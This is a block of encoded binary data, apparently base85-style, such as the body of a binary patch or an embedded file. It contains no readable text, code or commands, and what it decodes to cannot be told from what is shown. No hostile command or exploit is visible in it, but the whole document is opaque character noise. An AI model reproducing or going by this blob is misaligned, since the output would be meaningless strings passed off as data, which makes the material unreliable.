z1TNKmi;o+-Kh!&tGFGJYDynj1dz11nHamezsW*zlGAIz5N@+{3B~U5BO^ypG8~1vv zsz_Xll%DW=09Wt)RbEP4s$?lL0(l4hT0x$StuaQ+akq%PK1Ioe;!Ad-Gx0MR=-3Lp ztVMim%@G^fI%D8p0bDx&e?1E|ZIu_1=RzuKN&ljBqYm*y!(?3D0QArh=;_@I!=d3W zsM7(Hg**#2ca@LCEoe(c^W&*S)lMdoJ_|J;iwDIj@0b40jaeOxdT~)VF|4S{JRv4{ z!{;SP&w>J}$*oMuI&!N(`eC!WqC3OYK7E4>-KSoNJPs9)!;6yD54J9@aRql4fp&4= zC0#bX@|xhSt;N0Yt<%b$Qs54>b#5k{;Gfwb6&^vr0Y0hd1O_pEf;%jM}1eK=&TMdZW8 z67lw;8uP?jMnZioYXhBj+K^}k3WTQ9&hg}q1v>2nH#sh(v|pram;vt;mon{~1OF`G zQnUW@f?^}Yt?@-P#Zr-vyNU{`9U31Ym*V6Spd%#ESvu@u7)HoMs8<8q;VT)9Gv{nf z4VIW$RO@IW=?;Gz7Pp9%KK!^SqRy6&3q4j;?Wn^cZvTph3n0w}`q2mVBW#6ZdDi2#Xlz(4#bU*VBoj$11Iz{8Kr4#UL( zUvmo=(k!44KQ1BhDku<|KK%Ftx%EIFeylo{dmKPJrSOj+F{HwHPVn$!P4O?C(gA)u zpqxY$-!><5$kzh=9pJ$LA~(cLD$Km1PdergI9q_rAMlq+;4z`csJ2k) zm;TO{hw%FFW3{!uBI(-VHSu&&X2=nEm4_co#_{MS(1#zTRv&&mjFLluKKwY4#3?`@ zek?Or33rUR3J*VCPW>f78xc6HE3FZyNH}T4G&nZ_m%1p{2sVMf2@yW#$P4@8e0XVk zBZk>G53Y`aj}^y!+b{d(L8#*a-l(;H(@HOXB7Q^w_dUMdy_bCWJ0ruX68^%{^p!`V zTV8yai{`t5_Q9-3#$1!38}dc!7XcmZfs=G0741^U86ti~&L{9c0xrE^7g=(QaY=b0 z;;BehNFCxE#=Cf>>HUu~iR*Fm70{O=UW+7#R7Am_A zL*(X-hYwu(E2G)Ysh?)UKsVz*QShgwA0H@7z7jKhs=rq-8!bMwGB4ifXrk|!K(J+=trr-6#8 zZ#*8OiHrG&`uBnMQsD4Zud(B6o=)OddTAs44Zx+w#5SsRPU}d|L!#%AvgDUR&rWQ% z1J!d-r00dWo?2J&Rwz(Cfs=IERCcQ^4|?{2-yFEql->0#jp8g5J(rfIhaF@6(-E8Y zK=r&I@xF}f=|g=_pn3u)>9VP;o^#o4RWm8!_n}eRG;6DLeYWwbbGV8oVb}Zr~E-y{r z)YABTs%MXg*Ep`{YwFhm)e|^LmrZ5$j2FMsKmWl03%Jyt8+PlT=24t>qGwcT zdhaf#r`iPGq6Mm_RmAHW*VB^v=0NoXPSRylSv^(7ujuItzYE~hc6U9;MR86QJy(>b z7Y028u;~X>PmhQMsVWCvf;<*T#7{ii9*ZMc z;;)1C1@I?(Qk^~73uZYn2i}b==}*UnJ^x+T{9j6uH6eA7ohsP{4mr0eHCm2)KxEui zTChW8$O7U|B>WDv3j;4}5%0qFVk4Wh`qjM90l1kGJG~8EsH@6DqK1c5ID#c+mex6~ zYy5UpT}=jhjti+^7*><5pzbTt{Sy25C{jp8*V>8n1d(*R9g4*vKsVX(B)UmP zme_+x^auV*z}Tp(7D-plE-fhOW?eNF(kP%^6?ojQHH&yx?IAYORky>xRh*~K*(8#q zCnj{XX;ACIKC4m+lRX2Le6b3g>)g%bK4mt zZUqHG({tOG$UO`6-1ch{tAKXOO!LX*WJ^UGgmc@?B2hXebuGp~J7rH24S;q^FiY;{ zAaqI#sLcSKA~WrKKT8t*QL3)yDdF69sI*9C-40l^1G>8fn`C4Y-`)C(jZ7uS!tX4R z(%)E+aBeFHuKcOiLOHjch>c9gymV4;p_R|DGP%e+?+|6R9hdUKd|d2p~ED6p1h;~+&8`>oV!7ycP~pn zd=g&e9sSLC+z9j?{d(8&&H&JN^baR-F!1l_i=n=we&v^smHye87|x#`HBDTlhG%cipN{~^AeDKCn}mF+NASe4|I zbW0Te2MHhE%l`?v-vjN6osoo{@vf+OJ%8pHXjcSI(q&UwDbr*_N>>~Rzb$a-w|~fX z1(L#PCu2cm)%(`hI{y3zvgVZ~5ASJP>3GbK1}beY<0V`Zc+pn6g!&7CN(-E%%cio@ zT8LkfHW~g6z@=xK(=bAHEvhH*t)p-u)z*9B&l;8`w*-lI;buC}6ZnH8n~(|*(nN9} zfjb|l+`vk@kP7ppoHMTua$kb~0&wX8yT~0Ql61xUfz|MLLI%-`=ap4E@MKym2ma-l zz6bn@SE_Zzn|fvUI~JSF3%7hDe-Z+Z!^$#q@R&VjZ@}euKqu@#Pwi$HChYA{w*fn5 zZ!`ZCMlm%ISCGnTd?woEn9X-CT`us)>?ghxd&IcrgZckeWmP`y15u9IdqS!Kbhhk4 zqBAHEnjW*qksAZ_@D$u||KA+?$hhQ~eN!)7%Hioo_>+Mip6(}cFVNNov(#=5LTjIf z`XsPp_PR)TNJTH+ay@#jM3iIp8(6#s^qBn#iRF@!WA<+(HUodm?qk$KB zN;p;c2MUCy$LxOOdICLWUrFLppq+AlbX_N;!dR5+(f9SXPI(0W ze4w5328q{zc1kcyx{wMELZ^HLbvdwO_U5gUl&u+3@nd$ev`7v|Ut#ej&^;zFlaWpQ zm|Z9~vV(7i|Fc9&%ijf&U)aHAI?NwrZIxqodu(K$9L+I%qLm+SWsp-DyW|-=X0O>9 zgojl8nEi@~kYo102>2W5_}pVMJ0S4K?5*bEzmD0T+gJ(5Y=p7dWs$SZYI5Ar!F1b% zvb>Y}S|>HdbpxQs?7-tKMtCxnlnYNf<~%s30sf3@?AY9qYU_h^hp?Qm7icBCUXQN& zJ!brpe1DAS*OjGridVTFeJdWP0=*tBwR%1JNlG3AdOdnMiT8j`<)!9|%c$ZiT#w#J z{dYhc5jaWrJsfGorqGC-DGBEUsY7Fp5S?;78N7iSemQPChKWl`)06t4Q;zzzFscGn zMBwGQ%BR5&e{-fS_4@%GZh@1IyvB#yXz?q(+7*5mz)|0V`=h=dNXAEcLW&#V`b&%~ zO}9S9wDrTj56}b2^=88xt(H2*Y$BaQ;GPRqXJ92Geq3j%#1NgM;g13?wWy*_x%kp~ zlkYdCPD@26^xUn!N_@y1H3j=gK7JTmv*h`-o&0|h4uPd zQ{RX5HqgzGu(e|)cSw9QY^MH4pv?=M$~<=Cy~dlD6u;8E)Qu?jmcivcd&HRvk=h0F^b`fPW$j1(K0sv!PSRylely8%oe^Ypfqx9(%2&lp z-Z5FXSvbch?2xs0Sz)JBt+)DN+6$6dcGw+GJMbP?V&=2VAoI4_$kO~rVYVyaeB>WJ#=K>8sio|7-k?@mATnB93-u-7u z%7pf$Y>OM(X0oRYp)ODBWOB%!GK9Lc3#s^Cvme{jP8lwW&7#rX!a$H?PM@EAaNaqV z;4R9kJS_u34$SkB_yEvB7kD|5MLgI8Vk3j@b@;DJ(^9uvt8}K+lfto4sLv$S{$*8` z55`PR3O~l=1E42`TS@#RnF-X?p2o+AKw>1B{YkU{1>!(Y4ttY35$MU`coL(59wx4~ zXx#OYXq+5AIf!U-n3w_QcA$IQ^%3t+c+vFxH1!LBHa>8eevKV({Jr8=8vh>rcYsUH zueis_#5Bt+*(#@_hm*s@rS+m`4K^!*>X{qq*$ZBzXFK&X?-(~4K9IvuNlAn_!bEB_y9=K&>E(Y5R9>6z{s zTO0;V6POtU1B!|wf?~oP(9eK~B8rF@5X6LuAVw5aP>hJ8h$4a@CNN?`RLlX)n6n}# zjNg6UT~((Kga7^ST6fmku?Oxv5ljil{%uBn{`FZ6Uv^4iuUXt1bRQ@ zFAx3F@oc}OU$SEioH7rm$NhWn-amNPIrp6W^nUBA)B59Iz4z{dZ+8T2!MhL0p+G@o zw%~mRsZ#+PXQG%A7qL(h+st*0L~5KF5B(K@%Y7YQ3&O8Gu07pBV#>QR<>S^>cO3&? zd$Oj%a}$thAn`89VkKIT_zmPopdg;oE24&tf^-7R$f$smw23NjX6DF_ z>#incGV(C!djYQe)j;+JbNO~;@lis*Oq2UD z5WR?u^5J2#%4{wN9Q8l4EDBV6uxlp&ZQS3&55u}5AUike4t`8FV(0ed-* zY~`y6h%e`RLb^K;=1~0;A4M!qU^1*&jFU!9Vh(}hV8A9Z$AR=$LX()$AQu4P`oQp3 zS>kq2V4=#&AF_6Kl^CPPPs*Y=VGORreGA&m;#)8RN3 zu&|9hMeb~{QbF{%coeo5K!2Vz<zV$nOqN?ft9 zC1-1CLqkr9J6zTNMeDM%6M~Z-Mf5DdUiKp$=jx!7W0uG!Ip!Z|eg$0l=CLQiG0Q@E zQI+ozO$!c_dRws=7qn;H-O~PT>-;p?q` z+G;1lIE1V_V44DCjwbOe$Wu!6B=H5vCra!^B7Ysx1{5TqbQn+8C)HX{bye!EK>-ad zV5JHW{xWxVXtm2glxg7D9{R3;v&|SY6Q(Nrc1nkeu_9Ef?+(%4KtVay^p7NUC}2&0 zB*-}cSKH|QX?`LoVzs6l?K3-6*t^rUP+tw$yVG+CeZ*P>`sCf|c4%({O!tEz_bQ=o z=QWU*0R7oXhj)WCj@tz+Df`s6)jP`3T4??ro^QoxT}x@XA0ruc0v0TAnGS6$?}Vwi z4*oY>e*)H}MDpA!jIm2u{dz(Q2mY4k=c! zD?dAxQ@>KqO{tt6d=6F>OZ8zYzh{z9O@`-p#0+07!-nOh{hYhlb5&$Nee* z|BMf^O6E76nWK!?F8A`uAx~mIh+;>-`2QmI!NB?(78Xt~)-oT0SvCSgvg5zxzXP-5 zSB!AEZv(Nl^MPT*qpp(cV4OYl3q<*v;RkpXelMOUg@5rYUjk+HOJ~%5Tg*5oov~Fa zV?sKkdn#jQDkFDF$QY=>zx{V!uFCcmR5l&KVbpte{Ag|%q;%u>kJ4Q?(v{EqzGz0t z(4yhFp+EQx3-0SeLSfhrDidlU(elS4|IR7?@-C^2-sz0@QW>YEGaAE6np|~RI%CvN zMIE=NGv=f+9#3an@^g`6NjhVGD&xmgM(($eVLm+S7tgMPplhGucc+m<-mrZf7aGPX}=Oi5+*OlMSvx6F@eJ%h>6#1tRqjtI}c zU#E;AA|#}5LYn*iRL0D7#-seKqd##hNN22>EoOX}%E(O&8LHr1t1?d|tE%q~iORD= zl-m^a{#=oyT{`DN-UB<` z$gg2Qg*-9Y)7?q>dOed9Z}B?+B>fxE*uC7jcN()xhImgj=Gpi0L1T8ElSBIVuFk#J znANqD`fGfR3r@Z)rmN;}K>pc4_{hWlHW-UNKXyxl4F~$rWiQ%e zN#@Yv_}pS%d)7xf@X|bsD^&)CqOs15NtwBgRi~ga^Eg?@pyo)Rpq$d@d2%_a^MIW$ zi~2^Z7&d63;68p2=k5 zfTBZiRYmrLWcJdFi?-yiH(vJ*m=WRp;G~WSKMb4w>o*d$dR~4idGuX)w7dKmBQS=7l)lW9*Gatql)gve50GD#_=-gJ&1^pbN`EEM4Wz3QS$fJL zASdWSa}vh{FWWiyaiM_xXc4evUtzv=cC(SVP3v{GOf~@t<0MkcWcPv02K-XrZHbsI zRJPSxXHSZ(1wAqTS0H~W@-GGXK>V)Vx){|BqITzU<8(EN-+BHMU`ytoCZZ#@l>&ml z%o?rB^6=QQ)w+{eKm%;aJW^&|5%WA+!di}LwuH4I^y>p0B@I3aOIRA0UH<)`x#e%6 zNu2wX>{a4Gqc9Kd8Qtk3mTd0Gv@RQheMJv;LD^P-dGH{R|46$Pb9fL_;v%+*>7tnH zw9bAXi+K_Zg8(aLq~vOt#0bx%V!kaNt<;TxewY;HC;dw?%g+tPtYGP;jEH2COqZ9B zBK3wrBd*96-!2X)DgVlPg5+I=rfnA@qh0jJnwbBECwEBbay0RA>#ft0v%2uL*Ba!-+`f~Zjk|$gRd&9GWl~_B zg{}2$nj{@|D+4J|p((*h4abjVMo=+@b#Xn@pf;qzCI;)=#+BzhuQ=mu=T7#|%BHfy z%=3y-JUhid+vE<8_T0|1Ndp<-{jkD+M63H;{?q%ajXcH$PQ=7 zGPg98wSv_4^!yI{Pk?#5OYk4ZLZM6c^wd5;`~&9gNRx9BOM5#nx#}%CLcayz^3%r1 zz?FAC`=1Xo=lLA^Hd<@uwuZ7R#IBzYc7=7Ps4~)V9bMo^t2{fZJRJJNOr>k0QWaeO zOK^fdNBa;wno@)>*ZS|6cZgqs&UXrah+nQ9266I%+btrQt2zy{_qsU5_ESE#Pr`!Z zfvVfd9CJ~K?FBxzCy;SDVBQ{hzAt{xi8KR=75#ql?*Yu)k*3^5EM4@|5pUjp5&9PZ zm;d0hmAzez?E`|kjJrtco@%JOPwa~A_h5ZT>=xU-0%3`}Mubl{o+#r7E3M*-&TNXK?FrhiFnKSBOHz<#HSG&$E+G>m?W zB}?)A6*OM}F5mrf8I{CyDGNf}e&i$i$;5SAX^#1FL)lTI5uk|v1Lj`=tJX-zM#RKN zCe)O67mt*-m`kS(xcvT2s&z!v_+g@PcWHdBq3rdju??IJfN6|$d`#hAG(HwJc7=W$ z(|BDIjn;;A`dxqa^=E2?HdM-TpI;c$yAMn7v3caz4UUSfXr;!MYDM>B_!XCiR`j!P zMf+jHoTK~UC3ENMl*hE}xJJf`e`$=U#9JtfqN zb_dxRpcVa&vcJZJR`hq1RPq}GZ~fW0qZ-i~yot{ZeoE1FFH zb%3>^NRx9tMT3W1NtOb7Av6mBm(Q&{2CvkLdIn=k+yEI<(pYwf1gI6g4fC6TRcoXx zbwx}S<&|C;mHr6*52p0Fm7A{4+PLzKgEocf8}R%~OeevbKRX0QjOj2kG#Nl#RmHB( z-8Gh&e)}MLipEM!Y)T$tbGU5RR*2PuAeUe5jP4myk`&x1? zVoZ7MFVniQFiA}Mrg=LUHU#XO=3PLx26Ep7X8%p|ErNdgrg_z(o%l@W<)H~~+h~)t zePG%RsQQP@9+!nCxP7Bd(gu@p9AH850LNtYmvbV`Kw@=u1^HtDtE)&;?jn{R$aX-y z1;`!HPX%25ktSpKsnTGRv>Spt-u$F)+s3-#VpkJ<0M`4&ZcXskK*)#1MA)@4zd(c< z$ew}dDWISnYc@+ry#`pbSpo7h5Srj!K@fNT1uSWT+fi5vZ2mAiCjgVx8l;sHYJ%NB zwg+f}&AU1G`xT)H?$WsOB<<6rSUW(L*{!kcNovHJ;8C#m2F%-$j(hN-OPb*Mo{KXD$xDvL<3{Tjth;ymv8+4V8I`P)NZyj9aEUXJ6Esy+C2@G_aNOiN*@i?k$`QK9tm<5 zP!O4Il%7oL2Ebex#gwE3dXsfU&gBxRtz`3|e++Qd+XTJ0lBGJP@^jmVIZkTx^! zTg$w84V6o;M3y#BzmA+20oy#i0%VyI+C1I%QSK}O3gWTN(|eHW2H5850U-SVGdwED zx`-v7X7ltOQYOPkKtBv{%JO z^K|aw(DiFcwEWhP(0wRBCOSj&x-SmTs%ti$}e~9neozsq;g^D_HE1)K;x`s7$7>{iN}chV0W(<6JoJ ziy9+cnTuF#W9kBDMUAgO|B`9!+eD-KBWoM$2aRPeVo8n7Z^&;pA>B4UMAZ9$wT(#5 zoh(5_WQ=X&dq}^PcE4q9>p;ec9k96LF!Mx1)zN6OeQtll@u#@VAwLCD&PXxC%e>K$ zeN%+0f;Apv%mAzkB3;f!EL{cj#iJ_N0Q$B7FYZm=0IUksgmwRu|2sh%-*2ewdo|oT z>(Cj_j(|1c13>l#3L>*6Jdo6}fVG4uhTlmOfnKbd@BtF3mT)2T=L0U+EzB81bCoH& z*2(`3lPMoIRQ@-bat%CJ0%po=kQqQhWM;}DQVRexC5kCY2`rlOUNq$!=)VG7b&sHT z8CkJ6(IGnh1@p8~TX#$8uf&a)c^@@oPrfG9&0ok_A^mC|k**jFrsBYGL9OnZr z-=)b+HmRF&i9@DHXAxCTlm7;kZd$)^09JUU|;cTSi%9w%K(Ms@>cJ(M-VV zCemeH5%Wb+N3ue~RX5K;|Ez@P`@}Al&Q`H80_rktF`61Qa@&kFuF+Vz)Aev`YR`?k6;HJ`4EnPH zSN=q>NMp;BWH%XG-VE6k;WMA>SIigyGz@46eLs-cv7FXnmZ8yNZHlJS+gpE%Vc$Sw zhjNY!iDWl_(?dC*2k}{Vn_SksF*`>tQzczS2`*8|)qo;hS%Re-&?NDwlBPmGMJ3OF z*`$(2s*==X|41}GAdOXx*|s+XjSs*%Cu)pzWhstgSX7Ef8ef8bk!k#;iAHO(OFnXL zjj&Xnbql4jMPsuzli>c1tk2+l7qC+i`Zc;aP!O4&&Dn$0Zh$qnC?=N(^yVOvvpMg} zAWh+VLf-?hsoWrtfq*r;D4={50kPQ)gY;~GW~Y<-U4!BDBmqlai#VIpej*z6YBUCp zO8|Q{x)J0$CG=|a2*_L@+$IwGv=aBD{J`0qyKY3p*8DQ_9z<^eb~fi9kQG2dWOg>E z@k!Pl0Xv(s3rJVMoN`={$=hnc;w(UCbC%0QIb{I!{Q+~zaFBBVb4p~(t|A~hWh|tZ z0ystS^HNfZh^5cw3{i;`y%XWM9`HkV3n(eKj;ib;zoDm*57qRr&oMsBiuRn5b9tJ!JSbQ!7SpfL6IhQqU z&8ge1w+s=o>e-xqLr#fXZ6~U|Wn=ah>5`K^LG+t|Eh|O3Qr87K^}VNwPL65&6n!M% z%5^|ne{#%NvV#xur$p1zeX=$R9TBv1ZXT(bbsNj}x(TT|o3kGh_Xg~2j&kj6&WSuZ z4zRO1mx5db*o*loK@|7XN>n_Xa~t`S0V_nL;X|9ys1VyooeJ>?G!FqT_eH7@j>e&h z&d)(OhodBX)5gj-#HexoMVOugY+U~W zFpeA=4Cm-pz|!N$Y0{{1WOq1r1#BES1mqwkG>)7Baw_1*5#6b$KTczH<6p*+pKe8j z#*u3w8V}ew@({>djelFD@=_e`v)W9IHJbsCvF2nPKkSw`pk51%zhgjc?TqJ{fq`$s?Tq#V8q3Dt zhE$CsCC{?%k5n5+lxyQiBTwr98%K5k*%q*IWNZ*cS1M6)9O*@V55Ni$X|is6XjF(% zQl~Uxh&!!zE@C45k0cB82<>UxjaFbxCDh#eBTccdWRN_GB1 zx+K8DEz)FN5i?C@Pz%YGK@*|B9&q{Fnk=y>+`L%_26ZLwTbVVuG5dHlYd)+xPG@Ev znwZsLmy}uUp5yfvFtZ{}))ld$S$9UWxwbVA`U4#`ls4-`@{a?|tWyF_))ld$SvyItymbNe=K(ISi}&=Gp5%FNT@*y| z1DVVk(wO}&nsqg-;{h{kOrYaVpR`%C$iE9Pvm#B_MJ(x=vI|+pp^$|Fu{MOX-=F^hrxw9?^lEggXLZ1+G*Fa>4q_kX+i@T@nD5~x@)}M}| z_6?*uin`v#Ma#-#yVm~wiy%slQ0Uf8{Vnb1++5FHku7<%#2)G`URQ0bbYQ3~%(W!y z)wHNisf@4F8T+O(vUjGGACt zT%XQZKb0{jozW+i@j^Odcq-%5bjJOujK9+vGsD}yl&?KK<&rhS#lePWA}zr^*edXdr!9PODth$Fm`XaO9_7lV-LUM z(x1WD({Fk7XE65mdl>y0jD7qjM}G#RyU(#*iv1hH8H_#+@eIbkqi7)YW>4R+owRrc za zr9GZisEl9K+cweTd3GdVXE46>&!&=|sAoEZ@ol}G!T65!V!+N|d{@8n8I14iZJX!R zMSQ^oux*|{)Y~@C-$;L@XWHhu%+vLKkssv%+phYf*Exsu-GH6J*tj99?}O{l&R}fT zkkvP|Ev+*c?HjW1#35;}wN3&@W^{;Ht! z-%lGvhy3qnFn$V7(iw~ouvz0 zuYf$S#MvZPfanN*>BS^Ae1#uzfUXlrym`8B4YnHVLV`yDOLh_;(vY1q8@K5#+TNb` zLBbw@y*&>EITmoXX=cqt%+o5{VGY@zB5OfUjQ?WDFO2-xf?O?r*X~A)dIO@F_izSd z5{cP7pAOj4Xpcm6#F8@@M>Ld;fyds~UWWcf@n~T`Qf5<_?QZ2>E0q%2K%vVlj%>?0l(vlH|kr6}Jlw5fD4%a?^1 zzm90R1Rm|jt|=gmxFWmo#p3j@{GFAjf6Ps94q`SPL+Zh2nbJ4Z> z4oRA@m_77>ow?Y)`iM@Pxwv`>M_&LN#CE8*!L;-p_U^yUAgMDKJNjpA(HUXqEq3zh z=iZ|Yy$g-bTXc&wvq#uji=C_Oti=hR(&#=xw$57Y;%R>Vf-Am0=b6r0>{@LDZlCXI zNkGMYJloAbTR{2|J$sC2yL;ZZe;_Sb$g@5CvxcAH{fTFN4|8r$|LlVmyd(k52J&n# z|13Lx?uceXN$(xg^G7rrMS7o@UO1v+Ea~pmt8w(wJ@ywrs{j?(@@(JgHSQ;1s{UrE z(6d{4wqJGOqBS|r@ek|DJa0CWXa9+^UKvp_m-PO=ES>(#CSsuCSt|7aPqQuW!#DA) z*$uqB92ohQjHsAO`XJ9&o#osmP%)clJ*sUYGKTc|K(p4nadsr~EgjM9C1`ra^p_)= zy-oU%m|ixb*{7s?#q^31&3+(#XiT3wve_S`4~yy1BL|ip?p$x5uDB2UaIb$Uy5EpZ zI<(ry+qrjHiQBW3XF9Zcgs1CLC~;e^#xqTrj`VabS`x`EO8mK)6RWe!2KmUgb1~Od zmz{ffNdIuQbI;dSemO9tZ|TWSr@G2B4-4tdI&$u(u5$JvK5aA7dG%R4H}h0|wo9a& z%qqkSt;&{;416DQbJ9CC`O5wweeEdcZm274cu7c)s>BDa3K#YY>Cf4ezF(`tsKCEP zzcXq4ttuPur!lSHs&e$%f$q@*sGnAa_QOKD-`4zkR9`kGrpL8%?$K8HMD7j^G{*X} z_oALXH*)U0`m&ua^88z@N&eRL6^)z25oKvh>VpM5ZFIUQAPTTX8#<9fiB5C#nPVslQU8Az;8olpKFfc2@7 zrrbp=zW1w7y$A8ur!Im1EkIKQFEsY4!_{fomecM*9hcin-H7VCWn$Ns(=TBCOzbv# z9ux>m+$JI%S)JczE`%C*e}(90pr9NZMJuYY6tFR*9mx7X*mBxC2+F#MQE&E_IhVpp zU^l3D6uZs^9SE|Y5?T*G1!OQlv)>nG-_HwMPA{$wTTaJ~w8g;bNwH3rwU<&7`{b!v@z#=Bhef&w<5fR2 zg!LEW+153)I_LHiyG8ZK*{^_=Tbd^iSJy3)D8=>(h&fK8Y=Ze`AT4nbOD33)ROf3c zyM^UhFq{EcSY8TpkrE2a=^(cQ{(8OgP~@zOSXH#)(GcMaAbwihitx8V-c&-Oeh2vt zAi^iHV7BX{A;O<-65-eOi3NQMvdn_&vce#9e?D-eC!g;` zjbos{#5CU6q!}x)%C8K(YA7|2uGFS{V=1<&LxPh+o8m5|;rJU~V$XHJ#sdRke53ds3+&9$$G){a0MQ)4YWs{p%>Bf23?x=S%Irpt-@bGSurQrSpniYV{54%i8C4CroZVyjR+hvaQ zdE8ejW4@^_dszb1q6)1_Tpq9%73tW&9yro1>Y=E#4fL%6zK?PGN=kL-gl|!eiN>mP z(fECJSvNdo8n=S8L(~}QN?j3CDSR>8i$}%m4*lMyv3%&t8Wl+8ZwF_qnGA-9QL1TE z=@M0HoTF&Gk zDC;6tL6-h9WfV{XH-Ne=V6r-cbW}nu=Ma#C09wv%=kluYRA@P?*Q`9(`a3Dsn~-JJ zs42VpNvu`NIRo~S0rPOA<7z4Bl9A|o@~;NW!;vQER^u%|9v&%K3aNXbnFYA~j3yqY ziNq-GD|2CVHLz!@YRd9hZ58<>td9ZKZW;p}QJi4LXeyUSmG3~m#8j@ka$~h~0_8u4 zf-5k$LeIZMaT1>SzQO2!jpAegaaDIta_*_8LlkdS(^5+W-(bTRK-IfsmXT>u+_|Pg znfV4v2$+wT@#B^La!#ZfNUZQ1kiQ;ag^x7lE@J6H@dr6f{@wxl?EshGbhZ~7BijGC zt=ZNaK^;rEQnyu2{bpEa5xp<0`-t5l`rSZS;$9G8r<#g0M5q8f9HPU3f^sYhPa<_Z zU{QDl$QU3*^d~`3)KvXTh4zbT$np$9N8J4^8JeRSneY*k?mL zUtF`6Lbf{=>=(t&dd~(pk)eh2gaZTfI;#1c=4W8S@XMuc1Amm0K5st1Y z>_p)#?jD5bexRTn3%=(`Jq=j!eGT$C5CVBb5R`QhO9J^4N~u6DX$>`CvRZ;vDxpB` z2(mdqAm2epw|rp;DVz6IMVfbMO3;7`sV?c%iib(OQ|bAIxs0PpNDv*Ub$%$KNswcQ5@zL zt3>h9RO!IyLln>PQT!pw-v+8qCv)O+A&T$!QCzkjb2l>0z5Q?Z24>vF3K~eP)aygj z8n9AFnyf2gsygrL3lVRw-X8j{fXmn1T`aZQsf~j64%|6W7qMj2pHtKLibN@}yCY_A ziL!TKZPPJrE@BDOy)}gf%5E{)8-_yxi^&r~j#EN0ITmCz;NOAw3gWUZV#z!3eIdN3 zL43Qo)lWYR@}LqD^)ATU0O5V`c`Q;d3gP{5lkmQ&pSPLCtMl>eqcs&(FJPzo>EB`h z0WkmH6O1Y4xLPW_w`o)2wg4==BMs|rq9MG0SD6*weW2+LxcoaoP!is$Ir}Za7*?xf z%wshb!(@!Ydoau=09MhFj?H_4BWsTLN(YNaN-u)`0x8YCG0B(G!rNNXV~MK1QuRbl z#rILwwXj?jRYkf|7qPUex1*|A(9e{r{M4I^s$xu)Um3KijZ{+=KEsxjnl`7&!9Srn zm5%@Ne|Y_^nsb43H}PYQEs~bjuA`oRJ~li8RDDk7QZ(7Hkgv6$Ki(r_31Ai4ZGg9v zeXNjXATd9$Apd8;Dm2n$UDbu&x6dQeeA}We125q6r#6||6kl^&B`Ow3MQQDN6_{%c zr!}k%Vz&`t{XocCs|d?#n;j@Zb>JN!+6*Wt$HIIUQriO-=0}4Z34|uIX%Lik5yL0; zm&s8;2|Netv&60@GZtjD5^6FtK&AmSnbs6{^_N4FX;!<|N+ZI#NwM~YEK^xq*yAOv zRg-xh_62}>IMS86LXs6=yQ+QIL+@#CT z_Y3@SWC(Y>G>LduHQ**LV0$G5^2pj+1@g{Vumeza9htXM6&A?n)!HlR;bimz%*}NV zsLCj~n+|CP5-a*p@=pOQkRwgjJr0drdle$hwUA4^ClQ`oTeT(yvVgk_qC0_taxCf|BQ+PWsQUoq9Uw$-c@V_H zXTXv%WE3S+1pf;4&tg{u=Qp5s0h6^MNE?6%9(xhLyu2DBcyw)b62V$+{PcKVtP=Mm zWSKFwl^@AkMa&+scLU6Ak*?Ie1)bdXyyz5>gP}Q5s`8n8y|AQ1r^5=7x%LTB&*#!} zd2MBPOfo&A;2jQFWJWr6!v&6XWbPmy>6{4t_0pMZnbPUX-w4G~oDG7QkhGSiE)8c@~pW~Pl~TGZX{qi!J?^8t&x{`_*IKkie2Gy{nh zYdQH}1LnR+lXY7|BllGx(u%V7h9z!Iz~vtZf)e+I@laFhZi$kg6jf7dH`rSO6n^W& z+(rT{{Pqll_*2&0R$FzI2o)_`L9``MP>zMn9;CVf7Ba_z91Vo<+dl~6$bP_*@S7UK zZzR;i#jfxh2QpR(b)d6BW&r9yFXrO+H$wQ$sI5Ndwy;j9@T(Xo8a(3mhb%Lzw(^A6 zu~y;t670_d78a4N$Wdy1-j@f9M`7_L^q)&@e&!r6IQY_*7;LofnrQ4VjdN-%-;5f6 zhx3=HG175-F>s^<@!6=cLG0ju{&lXXSR+padWFXFAbK7=Si)GojmJ zNoZ59u6m`l_t#GJF5oMqitv)U%D1T_o0MD#`#FI5|I1(uKbb+7OiCUl|9-&wtw@t| zKZpjOKOtFaYac=LA;7i8E^bzc%*c-jd|Y%T;83wl2U(qUR}yRiN-ahF;`dlXw+B>=Q@CCjC4hgw8m*s zV@K$>FpcAyXjEvGzZkTsoqq{WY7XQlH^nu}4}-tM9LUC{)KAID61}UMcBykuP`%a- zbgZ*(U{`F|Nw(`^pz%X|;a!3y-9X2>w*6tXZs2g}50mZI4GfqWnIe{S1D)#Dx>ro< z1_r`#JYe0x*&t^Exq*S%cLNUu{k|J`j&5MvcS1L?Pn}KLE`#Y}pz2*RPk1|Y1N+t4 zr0rfZW&#$5BQN)6@sVV$$w6Y#@jCf016Eg&ChLkA-sevt*#q$w9p6Cz72xtM|Hp1% z-$Y%+l5Sw1x(#lYD0KsWAZCR`SvSx#FwrLlEa?Wi*HwKlCUpZ9oA7HAU~RVsWNjtX zcDDuD8t~n~Q9(%7MJ(wC_NDj|)f3_#;?~f5JjgLhNYo`D7Xx$ys}JXjk@rG3(4$E= z(66^>@Tl7kvP{pq%B9qibpv<6J_#`YzY>h$;3RZOH}E0(ivjBfB2CU6E*gBkP_on_ zv+Y3uR;z-bf9nR03C8eivWz*TuJXWl;ZrxTCd|zNtLR9_9ruAF-6*#gkCe8Deq&Sm z%BjATvA-WdiLK+gJkdBx8V{?hd^&2}9?or|#z@B<`v0PFR@8Vf^aq*7=Kt0W^a;Fb z+dshbf9VFE4Q~41yMfE;1{PAi)(u?jyMY1N&`-9j8~FPqUwC%U2Q29ZF0N}k5LW93 zMnFGIwp%x#t-}5WH{vZi$~J`_aJj+^FI3S%@imctD(K-}zkns}|Ao4ZZk7zS|25%nAsN>G z7X{K17qO)MFRE+#y_nQ!+rZEoutvKTNCzdd;H3Z_p z;#T`VA7rEw5;XgK3w59oI@RnJ_LQdPcYU{dRS2V$GozY^Bvnk;AJbqHR6|3gzx zrUvY~CFYO(D72j`TiF6$FVyz{sy4sLxm&1adjq|?l`Y_%PR2=qRbl5@UJrN4L7IWY zTs(pNae!4}q{+IT(5MQ>Aky4A1Dff8%QxO%EUWLru-<;sSu0UdDHT_?TJL$WtEoH; z>pZdB`)6GsWKmCqSG8)^l5$y0KM&DDpr9NJ?Dt761}w1u2KgNbjihZ5lywnH+S~*R zs7A8Z=B#M}CTjzb^^{N}*&SqOfJQQ9A}=YQghn#4)yfNaGq3XnW-~ZsnMth*f5}=c z;Pr>SFJK-%eU_(VT@SjXkqjgMOu#%GY1sEA8a(`+WGQg3gk~JzayQQMf>Mp-k;I0d zWW!CZ3WGm}PmN>>JU0W@NFp6q0|buP+e_D>;*qY0p`Qo1{PgKXU8+qj$68zYBJg84 